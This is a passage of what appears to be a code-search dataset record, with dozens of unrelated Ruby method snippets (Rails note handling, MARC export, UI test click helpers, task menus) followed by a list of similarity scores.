note['type'] == 'accessrestrict' && note['rights_restriction']\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n end\n\n end\n end",
"def private_notes\n end",
"def note(note)\n\t\t@note = note\n\tend",
"def show\n @intake = Intake.find(params[:id])\n @intake_note = @intake.intake_notes.all\n @new_note = @intake.intake_notes.build\n end",
"def handle_notes(notes)\n\n notes.each do |note|\n\n prefix = case note['type']\n when 'dimensions'; \"Dimensions\"\n when 'physdesc'; \"Physical Description note\"\n when 'materialspec'; \"Material Specific Details\"\n when 'physloc'; \"Location of resource\"\n when 'phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'physfacet'; \"Physical Facet\"\n when 'processinfo'; \"Processing Information\"\n when 'separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['type']\n\n when 'arrangement', 'fileplan'\n ['351', 'b']\n when 'odd', 'dimensions', 'physdesc', 'materialspec', 'physloc', 'phystech', 'physfacet', 'processinfo', 'separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n #when 'scopecontent'\n #['520', '2', ' ', 'a']\n when 'abstract'\n ['520', '3', ' ', 'a']\n when 'prefercite'\n ['524', '8', ' ', 'a']\n when 'acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'relatedmaterial'\n ['544','n']\n #when 'bioghist'\n #['545','a']\n when 'custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'accruals'\n ['584', 'a']\n when 'altformavail'\n ['535', '2', ' ', 'a']\n when 'originalsloc'\n ['535', '1', ' ', 'a']\n when 'userestrict', 'legalstatus'\n ['540', 'a']\n when 'langmaterial'\n ['546', 'a']\n when 'otherfindaid'\n ['555', '0', ' ', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n text = prefix ? \"#{prefix}: \" : \"\"\n text += ASpaceExport::Utils.extract_note_text(note, @include_unpublished, true)\n\n # only create a tag if there is text to show (e.g., marked published or exporting unpublished)\n if text.length > 0\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n\n end\n end",
"def get_fail_test_details(note)\n text = <<-EOS\n <p id=statusfail>#{note}</p>\n EOS\n text\n end",
"def handle_agent_notes(notes)\n notes.each do |note|\n prefix = case note['jsonmodel_type']\n when 'note_dimensions'; \"Dimensions\"\n when 'note_physdesc'; \"Physical Description note\"\n when 'note_materialspec'; \"Material Specific Details\"\n when 'note_physloc'; \"Location of resource\"\n when 'note_phystech'; \"Physical Characteristics / Technical Requirements\"\n when 'note_physfacet'; \"Physical Facet\"\n when 'note_processinfo'; \"Processing Information\"\n when 'note_separatedmaterial'; \"Materials Separated from the Resource\"\n else; nil\n end\n\n marc_args = case note['jsonmodel_type']\n\n when 'arrangement', 'fileplan'\n ['351','b']\n when 'note_odd', 'note_dimensions', 'note_physdesc', 'note_materialspec', 'note_physloc',\n 'note_phystech', 'note_physfacet', 'note_processinfo', 'note_separatedmaterial'\n ['500','a']\n when 'accessrestrict'\n ['506','a']\n when 'note_scopecontent'\n ['520', '2', ' ', 'a']\n when 'note_abstract'\n #check settings for enabling tag 520 and indicator 3\n if(MarcExportSettings.m_export_settings['tag_520_ind1_3'])\n ['520', '3', ' ', 'a']\n end\n when 'note_prefercite'\n ['524', ' ', ' ', 'a']\n when 'note_acqinfo'\n ind1 = note['publish'] ? '1' : '0'\n ['541', ind1, ' ', 'a']\n when 'note_relatedmaterial'\n ['544','a']\n when 'note_bioghist'\n ['545', '1', ' ','a']\n when 'note_custodhist'\n ind1 = note['publish'] ? '1' : '0'\n ['561', ind1, ' ', 'a']\n when 'note_appraisal'\n ind1 = note['publish'] ? '1' : '0'\n ['583', ind1, ' ', 'a']\n when 'note_accruals'\n ['584', 'a']\n when 'note_altformavail'\n ['535', '2', ' ', 'a']\n when 'note_originalsloc'\n ['535', '1', ' ', 'a']\n when 'note_userestrict', 'note_legalstatus'\n ['540', 'a']\n when 'note_langmaterial'\n ['546', 'a']\n else\n nil\n end\n\n unless marc_args.nil?\n if handle_settings(marc_args)\n text = prefix ? \"#{prefix}: \" : \"\"\n #Strip hard returns\n if(MarcExportSettings.m_export_settings['tag_ss_1'])\n text += ASpaceExport::Utils.extract_note_text(note).delete(\"\\n\")\n else\n text += ASpaceExport::Utils.extract_note_text(note)\n end\n #add access restriction\n if(marc_args[0] == '506')\n if( MarcExportSettings.m_export_settings['tag_506_sc_a_ss_1'])\n urls = text.scan(/(?:http|https):\\/\\/[a-z0-9]+(?:[\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,5}(?:(?::[0-9]{1,5})?\\/[^\\s]*)?/ix)\n unless urls.empty?\n text = text.gsub(/(\\. )[\\s\\S]*/, '. This collection has been digitized and is available online.')\n ead_text = if MarcExportSettings.m_export_settings['tag_856_ss_1'].nil? then MarcExportSettings.m_export_settings['tag_856_ss_1'] else \"Finding aid online:\" end\n df('856', '4', '2').with_sfs(\n ['z', ead_text],\n ['u', urls[0].chomp(\".\")]\n )\n end\n end\n end\n df!(*marc_args[0...-1]).with_sfs([marc_args.last, *Array(text)])\n end\n end\n end\n end",
"def note\n @attributes[:note]\n end",
"def notes\n\t\tall.map do |tone|\n\t\t\tKey.from_index(tone.tone, tone.letter_index).name\n\t\tend.extend(NoteSequence)\n\tend",
"def list_details\n puts \"Name: \" + @name\n puts \"Description: \" + @details\n puts \"Exercise Time: \" + @duration\n end",
"def note_contents=(notes)\n notes.each do |content|\n if content.strip != ''\n self.notes.build(content: content)\n end\n end\n end",
"def notes( params={} )\n notes = get_connections(\"notes\", params)\n return map_connections notes, :to => Facebook::Graph::Note\n end",
"def note_contents=(notes)\n notes.each do |note|\n if note.strip != \"\"\n content = self.notes.build(content: note)\n content.save\n end\n end\n end",
"def issue_notes_for(name, version, issues, notes)\n notes << \"\\n### #{name} Issues resolved for #{version}\\n\\n\"\n do_references = ENV['REFERENCES']\n\n issues.reverse.each do |issue|\n if do_references\n notes << %Q{[#{issue[0]}]:#{issue[2]}\\n}\n else\n notes << %Q{- [#{issue[0]} - #{issue[1]}](#{issue[2]})\\n}\n end\n end\n notes\nend",
"def notes\n @reason_structure[@num]\n end",
"def _Notes\n while true\n\n _save1 = self.pos\n while true # choice\n _tmp = apply(:_Note)\n break if _tmp\n self.pos = _save1\n _tmp = apply(:_SkipBlock)\n break if _tmp\n self.pos = _save1\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n set_failed_rule :_Notes unless _tmp\n return _tmp\n end",
"def local_notes options = {}\n # if user is creator or admin, add link to admin\n allow_admin = !options[:disable_admin] && current_user && !current_user.admin?\n path = \"#{controller_name}/#{action_name}\"\n\n notes = Note.where(:path=>path)\n\n if notes.empty? && options[:fixed]\n notes = [Note.create!(:path=>path, :title => options[:default_title])]\n end\n\n str = notes.map do |note|\n in_place_edit_panel(note, path)\n end.join.html_safe\n\n str << content_tag(:div, link_to(\"Add New Note\", notes_path(:path=>path), :method=>:post, :remote=>true), :class=>'panel', :id=>\"add_#{path.gsub(/\\//,'_')}\") if allow_admin\n\n str\n end",
"def generating_notes\n puts\n notes = \"Generating release notes\"\n puts bold(notes)\n puts notes.length.times.map {\"=\"}.join\n puts\n end",
"def task_info_tip(task)\n values = []\n values << [ _(\"Description\"), task.description ]\n comment = task.last_comment\n if comment\n values << [ _(\"Last Comment\"), \"#{ comment.user.shout_nick }:<br/>#{ comment.body.gsub(/\\n/, '<br/>') }\" ]\n end\n\n return task_tooltip(values)\n end",
"def show\n @notes = @hold.notes\n respond_with(@hold)\n end",
"def add_note # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity\n @bib.biblionote.each do |n|\n case n.type\n when \"annote\" then @item.annote = n.content\n when \"howpublished\" then @item.howpublished = n.content\n when \"comment\" then @item.comment = n.content\n when \"tableOfContents\" then @item.content = n.content\n when nil then @item.note = n.content\n end\n end\n end",
"def update!(notes)\n fetch_notes\n show_notes\n push_notes(notes)\n end",
"def get_notes_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NotesApi#get_notes ...\"\n end\n \n # resource path\n path = \"/Notes\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APINote>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NotesApi#get_notes\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def next_note\r\n end",
"def to_down_notes(notes)\n notes.empty? ? \"\" : notes[:other]\n end",
"def to_down_notes(notes)\n # notes.is_a?(Hash) ? (notes)[:Other] : \"\"\n notes.empty? ? \"\" : (notes)[:Other]\n end",
"def condition_note\r\n self.notes\r\n end",
"def show\n horse = set_horse\n @notes = horse.notes.paginate(:page => params[:page], :per_page => 20).order('created_at DESC')\n end",
"def show_todo(id)\n filename = find_filename_for_todo(id)\n todo = create_todo_hash_from_file(filename)\n pretty_print_todo(todo)\nend",
"def note_contents=(notes)\n notes.each do |note|\n if note != \"\"\n self.notes << Note.find_or_create_by(content: note)\n end\n end\n\n end",
"def add_note(note)\n self.notes = notes.present? ? \"\\n\\n#{note}\" : note\n save\n end",
"def show_all_notes(db)\n notes = server.get_index\n notes.each do |note|\n note = server.get_note(note[\"key\"])\n show_note(note)\n end\nend",
"def create\n @note = current_user.notes.new(params[:note])\n @note.note = view_context.markdown(@note.note).gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n @note.save\n $statsd.increment 'animal.note.created'\n respond_with(@note)\n end",
"def rip_notes()\n if @version >= IOS_VERSION_9\n @database.execute(\"SELECT ZICNOTEDATA.ZNOTE FROM ZICNOTEDATA\") do |row|\n self.rip_note(row[\"ZNOTE\"])\n end\n end\n\n if @version == IOS_LEGACY_VERSION\n @database.execute(\"SELECT ZNOTE.Z_PK FROM ZNOTE\") do |row|\n self.rip_note(row[\"Z_PK\"])\n end\n end\n end",
"def draft_release_notes_text\n extra_javascript 'docs'\n @hard_wrap = params[:hard_wrap]\n @bugs = sorted_bugs.select(&:doc_text_required?)\n end",
"def inferred_notes\n if scrubbed_notes?\n Rails.logger.debug \"not replacing scrubbed notes\"\n head_notes\n notes\n elsif head_notes.present?\n head_notes\n elsif notes.present? && ff?\n Rails.logger.debug \"not deleting old ff notes\"\n head_notes\n notes\n else\n head_notes\n end\n end",
"def index\n @to_do_notes = ToDoNote.all\n end",
"def show\n authorize @task\n @task_note = TaskNote.new(task: @task)\n set_return_to\n @return_to = get_return_to_or_default tasks_url\n end",
"def note(name, note=nil)\n if note.nil?\n details(name).rule_notes\n else\n @driver.setRuleNotes([name], [note])\n end\n\n end",
"def index\n @internal_notes = InternalNote.all\n end",
"def notes(params = {})\n @notes ||= MailchimpAPI::Note.find(:all, params: { member_id: id }.deep_merge(prefix_options).deep_merge(params))\n end",
"def onBriefingNotes _args\n \"onBriefingNotes _args;\" \n end",
"def create\n @task_note = Note.new(params[:note])\n\n respond_to do |format|\n if @task_note.save\n format.html { redirect_to notes_path, notice: 'Task note was successfully created.' }\n format.json { render json: @task_note, status: :created, location: @task_note }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task_note.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_note\n @pdf.text_box(\n \"#{@document.note}\",\n size: 10,\n at: [0, note_height],\n width: x(450),\n align: :left\n )\n end"
] |
[
"0.7144478",
"0.7135806",
"0.69757557",
"0.69757557",
"0.69757557",
"0.69607174",
"0.6893777",
"0.682769",
"0.6802575",
"0.6799512",
"0.6798337",
"0.67829776",
"0.6738023",
"0.6717798",
"0.6717798",
"0.6717798",
"0.6717798",
"0.6679622",
"0.66640913",
"0.6637172",
"0.66075385",
"0.66060644",
"0.6562648",
"0.6562648",
"0.6562648",
"0.6562648",
"0.6558158",
"0.6503936",
"0.6501734",
"0.6501734",
"0.64910066",
"0.646923",
"0.6464142",
"0.6464142",
"0.6422171",
"0.6406394",
"0.63880277",
"0.6382458",
"0.63702273",
"0.6353159",
"0.6336019",
"0.6317493",
"0.63041174",
"0.62868285",
"0.6269337",
"0.62677014",
"0.625149",
"0.6243854",
"0.6241654",
"0.62303036",
"0.6222683",
"0.6216448",
"0.6215171",
"0.6195808",
"0.619278",
"0.6191314",
"0.61508816",
"0.612724",
"0.61034817",
"0.6100902",
"0.60995823",
"0.6094645",
"0.60897267",
"0.6065961",
"0.6065058",
"0.60588455",
"0.6055527",
"0.60476863",
"0.6036441",
"0.6030028",
"0.60244405",
"0.6007947",
"0.600436",
"0.5977116",
"0.5971471",
"0.5970959",
"0.5966675",
"0.5962543",
"0.59579366",
"0.5957454",
"0.59555763",
"0.5954634",
"0.59413487",
"0.5937567",
"0.59353983",
"0.59321994",
"0.59118676",
"0.5907213",
"0.58965683",
"0.58938974",
"0.58932513",
"0.5883982",
"0.58815175",
"0.58676535",
"0.58664155",
"0.5865914",
"0.5855857",
"0.5854989",
"0.5853565",
"0.58475053",
"0.58434165"
] |
0.0
|
-1
|
Below code is used when clicked on the "Secretarys Task" in left side bar on communication page.
|
def named_views_secretarys_task
@task_assigned = UserTask.all(:conditions => ["assigned_to_user_id = ? AND (status is null OR status != 'complete')", @sp_session.assignment.user.id], :order => "created_at DESC")
@task_completed = UserTask.all(:conditions => ["completed_by_user_id = ? AND status like ? AND completed_at >= ?", @sp_session.assignment.user.id, "complete", 1.week.ago], :order => "created_at DESC")
render :partial => 'named_views_secretarys_task'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def non_matter_task(activity)\n name = activity[:activity_name]\n link = link_to_remote(truncate(h(activity[:activity_name]), :length => 15), :url => edit_activity_calendars_path(:id=> activity[:activity_id],:height=>350,:width=>680, :home=> true), :class=>\"thickbox vtip\", :method=>:post)\n new_tooltip_div_code(link, h(name))\n end",
"def question_otto_button_click\n MenuControllerContracts.invariant(self)\n @alert_view = @help_view = Views::OttoInstructionsAlertView.new(@window, self)\n MenuControllerContracts.invariant(self)\n end",
"def on_click\n\t\tend",
"def tab_sprint\n @ole.open\n @ole.browser.link(:text => 'Admin').when_present.click\n @ole.browser.link(:text => 'Maintenance').when_present.click\n @ole.browser.link(:text => 'Select/Acquire').when_present.click\n @ole.browser.link(:text => 'Describe').when_present.click\n @ole.browser.link(:text => 'Deliver').when_present.click\n end",
"def verifyInformationScreen()\n clickOnMoreTab()\n clickOnInformation()\n verifyMeeting()\n end",
"def growlNotificationWasClicked(clickContext)\n if clickContext == \"Error\"\n appController.showTaskInspectorWindow()\n end\n end",
"def actions\n html_str = ''\n html_str << context.link_to(\n \"Edit\",\n edit_company_admin_task_path(object, network: object.company.domain),\n class: \"button button-chromeless\"\n )\n disable_or_delete = object.has_completed_tasks? ? 'Disable' : 'Delete'\n html_str << context.link_to(\n object.enabled? ? disable_or_delete : 'Activate',\n company_admin_task_path(object, network: object.company.domain),\n method: :delete,\n remote: true,\n data: { confirm: \"Are you sure?\", taskId: object.id },\n class: \"task-status-toggle button button-chromeless danger\"\n )\n html_str\n end",
"def question_help_click\n MenuControllerContracts.invariant(self)\n @alert_view = @help_view = Views::ConnectAllAlertView.new(@window, self)\n MenuControllerContracts.invariant(self)\n end",
"def click_on_free_trial\n\t\t\tself.free_trial_button\n\t\tend",
"def question_classic_button_click\n MenuControllerContracts.invariant(self)\n @alert_view = @help_view = Views::ConnectInstructionsAlertView.new(@window, self)\n MenuControllerContracts.invariant(self)\n end",
"def tasks_button_tapped(sender)\n tasks_controller = TasksController.alloc.initWithNibName(nil, bundle: nil)\n navigationController.pushViewController(tasks_controller, animated: true)\n end",
"def click; end",
"def click; end",
"def click; end",
"def clicked;end",
"def click_start_now_button\n click_link(@start_now_button_text)\n end",
"def switch_alert_event\n # TODO: clean out selected item details\n display_items\n end",
"def show_taskling_action(taskling)\n\t\tif taskling.status == 0\n\t\t\tcontent_tag :span, \"\", class: \"glyphicon glyphicon-question-sign task-action\"\n\t\telsif taskling.status == 1\n\t\t\tlink_to taskling_path(taskling, taskling: {status: 3}), method: :patch do\n\t\t\t\tcontent_tag :span, \"\", class: \"glyphicon glyphicon-ok-circle task-action active\" \n\t\t\tend\n\t\telse\n\t\t\tlink_to taskling_path(taskling, taskling: {status: 1}), method: :patch do\n\t\t\t\tcontent_tag :span, \"\", class: \"glyphicon glyphicon-ok-sign task-action complete\" \n\t\t\tend\n\t\tend\n\tend",
"def click_approach_link\n click APPROACH_LINK\n end",
"def show_assignment_details\n frm.image(:src, \"/library/image/sakai/expand.gif\").click\n end",
"def show_assignment_details\n frm.image(:src, \"/library/image/sakai/expand.gif\").click\n end",
"def tasknav_link(text, action) \n link_to text, :id => nil, :controller => \"task\", :action => action \n end",
"def click(event)\n data = {\n agenda: Agenda.file,\n initials: User.initials,\n attach: @@item.attach,\n request: request\n }\n\n @disabled = true\n Pending.update 'approve', data do |pending|\n @disabled = false\n end\n end",
"def test03_L1DLT03_TC_24418\n\t\t#skipping for now, currently unable to interact with the \"Like\" button\n\tend",
"def click_first_assignment_heading\n link_element(xpath: '//a[@class=\"gradebook-header-drop assignment_header_drop\"]').when_present Utils.medium_wait\n link_element(xpath: '//a[@class=\"gradebook-header-drop assignment_header_drop\"]').click\n end",
"def show\n # Restrict access\n check_if_admin unless @task.user_id == @person.id || @task.state == 'open'\n end",
"def click_action\n raise NotImplementedError \"Subclasses must implement this method\"\n end",
"def clicked(e)\n \n end",
"def df_top_menu_link\r\n unread = DocflowVersion.unread_for_user.count\r\n waiting = DocflowVersion.waiting_for_my_approvial.count\r\n top_indicator = \" (\"+unread.to_s + ((waiting == 0) ? \"\" : (\"/\"+waiting.to_s)) + \")\"\r\n (\"<span>\"+l(:label_docflow_top_title)+top_indicator+\"</span>\").html_safe\r\n end",
"def sub_view\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).flag_handler(\"Cancel\")\n page(NavTabBarPage).select_storytab(\"Action\")\n page(NavTabBarPage).sub_handler\n page(SubmissionPage).verify_page_elements\n page(SubmissionPage).select_action(\"Submissions\")\n page(SubmissionPage).select_action(\"Comments\")\n page(MorePage).backpage\n end",
"def flick_switch\n @assignment = Assignment.find(params[:id])\n if @assignment.facebook_user.id = @fb_user.id\n @assignment.published = !(@assignment.published)\n if @assignment.save\n if(@assignment.published)\n flash[:notice] = 'The Assignment was successfully published.'\n #TODO: Move from the \"created\" string to \"published\" string.\n @fb_user.activity_items.create(:assignment_id => @assignment.id, :sentence => ActivityItem::PublishAssignmentString)\n else\n flash[:notice] = 'The Assignment was successfully unpublished.'\n end\n redirect_to(@assignment)\n else\n flash[:alert] = 'An error occured while updating the assignment. Please try again.'\n redirect_to(@assignment)\n end\n else\n flash[:alert] = 'You are not the author of that assignment.'\n redirect_to(@assignment)\n end\n end",
"def assigned_menu\n\n end",
"def workflow\n end",
"def choose_first_click; end",
"def open_lid()\n \"Click the <b>Open Lid</b> button\"\n end",
"def scheduling_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(SCHEDULING_TAB).displayed?}\n scheduling_tab = @driver.find_element(SCHEDULING_TAB)\n scheduling_tab.click\n end",
"def display_task_management_menu\n loop do\n system \"clear\"\n self.view_tasks\n puts \"\"\n choice = PROMPT.select(\"What would you like to do for your goal?\".light_white) do |menu|\n menu.choice 'Create New Tasks'.light_white, '1'\n menu.choice 'Delete Task'.light_white, '2'\n menu.choice 'Mark Tasks Complete'.light_white, '3'\n menu.choice 'Back'.light_white, '4'\n end\n\n case choice\n when '1'\n create_tasks\n when '2'\n delete_task\n when '3'\n mark_task_complete\n when '4'\n break\n end\n end\n end",
"def weekend_menu\n active = 2\n if @alive == true\n weekend_header\n else\n offline_header\n end\n @selected_activity = []\n chosen_weekend_activity = @prompt.select(\"\\nSelect an activity to find out more\\n\".blue, @processed_weekend.push({name: \"--Back to Menu--\", value: 11}).uniq) \n weekend_selection(chosen_weekend_activity) \n end",
"def open_lid\n 'Click the <b>Open Lid</b> button'\n end",
"def open_lid\n 'Click the <b>Open Lid</b> button'\n end",
"def sub_navigate\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n end",
"def on_toggle_help\n @help_window.toggle_text\n end",
"def on_toggle_help\n @help_window.toggle_text\n end",
"def notes_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(NOTES_TAB).displayed?}\n notes_tab = @driver.find_element(NOTES_TAB)\n notes_tab.click\n end",
"def click\n p [ :app_click ]\n view.click\n end",
"def open_subject_admin\n click_subject_buttons('Subject Administration')\n end",
"def complete_tagging_task\n @page.find(input_elements[:change_tags_button]).click\n end",
"def mission(page)\n\tend",
"def begin_assessment\n frm.button(:value=>\"Begin Assessment\").click\n end",
"def toggle(task_number) # Toggle method that calls the toggle_status method on the appropriate task from the all_tasks array\n all_tasks[task_number - 1].toggle_status\n end",
"def click_settings\n settings.click\n end",
"def click_yes_to_all_js_popup(title)\n click_button_popup(title, \"Yes To &All\")\nend",
"def active_action_text\n read_attribute(:active_action_text).blank? ? \"I can participate for\" : read_attribute(:active_action_text)\n end",
"def print_menu\n puts \"1. List patients\"\n # ....\n end",
"def add_purposes(activity, visit)\n context_menu_open(activity, visit, 'purpose')\n end",
"def activity\n end",
"def menu_edit_task(task)\n loop do\n system 'clear'\n puts \"--> Task Details <--\".colorize(:cyan)\n puts @headline\n puts @pipe + \"Description: \".colorize(:cyan) + \"#{task[\"description\"]}\"\n puts @pipe + \"Status: \".colorize(:cyan) + \"#{task[\"status\"] ? @emoji[:white_heavy_check_mark] : @emoji[:cross_mark]}\"\n puts \"-\" * 20\n\n menu = [\n {name: 'Edit task', value: \"EDIT\"},\n {name: 'Delete task', value: \"DELETE\"}\n ]\n menu = menu + @navigation\n input = @prompt.select(\"Menu: \", menu)\n\n # specific menu options added \n case input\n when \"EDIT\"\n task = task_edit(task)\n when \"DELETE\"\n task_delete(task)\n menu_edit_job(task[\"job_id\"])\n when \"BACK\"\n menu_edit_job(task[\"job_id\"])\n end\n go_to(input)\n end\n end",
"def test04_L1DLT04_TC_24418\n\t\t#skipping for now, currently unable to interact with the \"Tweet\" button\n\tend",
"def rightclick(componentName, o1 = nil, o2 = nil, o3 = nil, o4 = nil, o5 = nil)\n $marathon.click(componentName, true, o1, o2, o3, o4, o5)\nend",
"def showSportsMenu (email)\r\n loop do\r\n @sportsMenu.executeMenu\r\n case @sportsMenu.option\r\n when 1 then insertNormalEvent(\"Football\",email)\r\n end\r\n break if (@sportsMenu.option==0)\r\n end\r\n end",
"def action\n trigger :click\n end",
"def activities_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(ACTIVITIES_TAB).displayed?}\n activities_tab = @driver.find_element(ACTIVITIES_TAB)\n activities_tab.click\n end",
"def activities_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(ACTIVITIES_TAB).displayed?}\n activities_tab = @driver.find_element(ACTIVITIES_TAB)\n activities_tab.click\n end",
"def rightclick(componentName, o1 = nil, o2 = nil, o3 = nil, o4 = nil, o5 = nil)\n $marathon.click(componentName, true, o1, o2, o3, o4, o5)\nend",
"def help\r\n\r\n @user_actions = Access.where(:table_sid => \"bg_workers\", :action_sid => [\"index\", \"new\", \"create\", \"show\", \"edit\", \"update\", \"destroy\", \"search\", \"help\", \"run_job_deprecated\", \"clear_locks\", \"update_task\", \"edit_task\", \"tasks\", \"destroy_task\", \"add_task\", \"new_task\", \"list\", \"start_worker\", \"processes\", \"kill_process\", \"ptest\", \"clear_queue\", \"running\", \"clear_log\", \"run_task\", \"kill_task\"]).includes([:user_accesses, :profile_accesses]).reject{|a| @current_user.can_run?(a) }\r\n render(:layout => !request.xhr?)\r\n end",
"def next_step_task\n if self.tracker_task_id == 1\n return \"Assign Manager\"\n elsif self.tracker_task_id == 2\n return \"Create Estimate\"\n elsif self.tracker_task_id == 3\n return \"Send Estimate\"\n elsif self.tracker_task_id == 4\n return \"Create Contract\"\n elsif self.tracker_task_id == 5\n return \"Send Contract\"\n elsif self.tracker_task_id == 6\n return \"Invoice Customer\"\n end\n end",
"def add_a_message\n @browser.span(:id=>\"newsharecontent_message_arrow\").fire_event('onclick')\n end",
"def go_to_where_you_belong\n \n end",
"def go_to_helpdesk_page\n edit_user_link.click\n helpdesk_link.click\n end",
"def start_run\n 'Click the <b>Start Run</b> button'\n end",
"def start_run\n 'Click the <b>Start Run</b> button'\n end",
"def main_display\n puts \"Please choose the action you would like to perform?\" \\\n \"\\n1. Enroll into a department\" \\\n \"\\n2. Change your department\" \\\n \"\\n3. Change your section\" \\\n \"\\n4. View details\"\nend",
"def action\n case item.type\n when :switch, :bar\n toggle_item\n when :advanced\n process_method\n when :variable\n open_popup\n end\n end",
"def act notification, options={}\n sharee.collect shared\n I18n.t 'notification.user.shared_event.act', shared: shared.decorate.title\n end",
"def question_login_button_click\n MenuControllerContracts.invariant(self)\n @alert_view = @help_view = Views::LoginAlertView.new(@window, self)\n MenuControllerContracts.invariant(self)\n end",
"def mission_directive_text\n puts \"\\n\"\n tab_title; puts create_title(\"MISSION BRIEFING\") << \"\\n\"\n tab_title; puts \"#{Time.now}\\n\\n\"\n puts_tabbed(\"txt/mission_directive1.txt\")\n press_enter\n puts_tabbed(\"txt/mission_directive2.txt\")\n press_enter\n puts_tabbed(\"txt/mission_directive3.txt\")\n press_enter { \"Press 'ENTER' to activate your communicator.\" }\n end",
"def command_personal\r\n @status_window.select_last\r\n @status_window.activate\r\n @status_window.set_handler(:ok, method(:on_personal_ok))\r\n @status_window.set_handler(:cancel, method(:on_personal_cancel))\r\n end",
"def contact_info_tab()\n wait = Selenium::WebDriver::Wait.new(:timeout => 5)\n wait.until {@driver.find_element(CONTACT_INFO_TAB).displayed?}\n contact_info_tab = @driver.find_element(CONTACT_INFO_TAB)\n contact_info_tab.click\n end",
"def act\n @page_title = _('Bulk_management')\n @page_icon = 'groups.png'\n end",
"def continue_shopping\n self.lnkContinueShopping_element.when_present(30).click\n end",
"def show\n success_task_show\n end",
"def add_task_submenu\n\t\tputs \"Enter task to add to list:\"\n\t\tchoice = get_choice\n\t\t@todo_list.add_item choice\n\t\tprint_menu\n\tend",
"def secratary_details_task_list\n @tasks = UserTask.get_all_secratary_details_task_list(params[:secratary_id])\n @user_name = params[:secratary_id].blank?? nil : User.get_user_name(params[:secratary_id])\n @skills_types = Physical::Liviaservices::SkillType.find(:all)\n render :partial =>'secratary_details_task_list' \n end",
"def show\n @task_items = @task_list.items.active\n end",
"def need_help_link\n\t\t@browser.span(text: @need_help_text)\n\tend",
"def show_hide_my_messages_tree\n self.div(:id=>\"lhnavigation_container\").link(:text=>\"My messages\").click\n end",
"def add_to_active\n selection = @list_view.selection\n if iter = selection.selected\n selected_category = iter.parent[0]\n task_index = iter[3]\n priority = todo_data.get_priority(selected_category,task_index)\n task_text = todo_data.get_task(selected_category,task_index)\n @parent_view.add_to_tasklist(priority,selected_category,task_text)\n @list_view.model.remove(iter)\n end\n end",
"def close_lid()\n \"Click the <b>Close Lid</b> button\"\n end",
"def display_tasks\n puts \"What do you want to do? \\n\"\n puts TASKS.values\n end",
"def on_category_ok; @quest_list_window.activate; end",
"def on_context_item_selected(mi) # not yet used\n pos = mi.menu_info.position\n\n case mi.title.to_s\n when \"Edit\"\n edit @scripts_list[pos]\n when \"Execute\"\n begin\n execute IO.read(@scripts_list[pos]), \"[Running #{@scripts_list[pos]}]\"\n rescue\n toast \"#{@scripts_list[pos]} not found!\"\n end\n when \"Delete\"\n @confirm_delete = @scripts_list[pos]\n AlertDialog::Builder.new(@ruboto_java_instance).\n setMessage(\"Delete #{@confirm_delete}?\").\n setCancelable(false).\n setPositiveButton(\"Yes\", (proc{|d,w| my_dialog_click(d,w)})).\n setNegativeButton(\"No\", (proc{|d,w| my_dialog_click(d,w)})).\n create.\n show\n end\n\n true\n end",
"def clickManageTour()\n EnziUIUtility.wait(@driver, :name, \"lightning_manage_tours\", @timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n @driver.find_element(:name, \"lightning_manage_tours\").click\n EnziUIUtility.switchToWindow(@driver, @driver.current_url())\n end",
"def command_personal\n @status_window.select_last\n @status_window.activate\n @status_window.set_handler(:ok, method(:on_personal_ok))\n @status_window.set_handler(:cancel, method(:on_personal_cancel))\n end",
"def button_link(which)\n link.href(\"/page/#{which}\")[\n button\n .css(:button)\n .disabled(app.done_scope == which)\n .style(margin_right: 1.em, width: 6.em)[\n \"#{which.to_s.capitalize} (#{TODOS.count(which)})\"\n ]\n ]\n end",
